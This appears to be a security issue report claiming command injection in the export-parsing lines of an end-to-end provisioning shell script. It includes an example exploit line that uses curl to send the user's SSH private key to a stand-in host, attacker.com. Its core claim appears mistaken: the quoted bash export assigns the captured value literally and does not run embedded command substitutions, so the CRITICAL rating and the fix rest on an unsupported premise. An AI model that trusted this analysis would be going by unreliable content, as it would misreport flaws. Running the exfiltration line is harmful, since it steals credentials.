security: Command injection via cloud_headless_env export parsing in provision.sh #3075
Description
Location
sh/e2e/lib/provision.sh lines 60-62
Vulnerability
The export parsing logic uses regex capture groups without sanitizing the captured values:
if [[ "${_env_line}" =~ ^export[[:space:]]+([A-Za-z_][A-Za-z0-9_]*)=\"(.*)\"$ ]]; then
export "${BASH_REMATCH[1]}"="${BASH_REMATCH[2]}"
fiThe regex captures everything after =" including unescaped shell metacharacters. If a cloud driver's cloud_headless_env function outputs malicious content (e.g., via a compromised cloud API response or MITM attack), this could execute arbitrary commands.
Attack Vector
- Compromised cloud API returns malicious droplet metadata
- Cloud driver's
cloud_headless_envfunction incorporates this into env var values - The regex captures the malicious content into
BASH_REMATCH[2] - The
exportstatement evaluates the malicious content
Example Exploit
export DO_DROPLET_NAME="foo\$(curl attacker.com/exfil?data=\$(cat ~/.ssh/id_rsa))\"This would be captured and exported, executing the embedded command substitution.
Recommended Fix
Use a safe parsing approach that doesn't evaluate captured content:
# Read key=value pairs without shell evaluation
while IFS='=' read -r key value; do
# Strip 'export ' prefix
key=${key#export }
key=${key## } # trim leading spaces
# Strip surrounding quotes from value
value=${value#\"}
value=${value%\"}
export "$key"="$value"
done <<CLOUD_ENV
$(cloud_headless_env "${app_name}" "${agent}")
CLOUD_ENVSeverity
CRITICAL - Remote code execution in E2E test infrastructure if cloud APIs are compromised.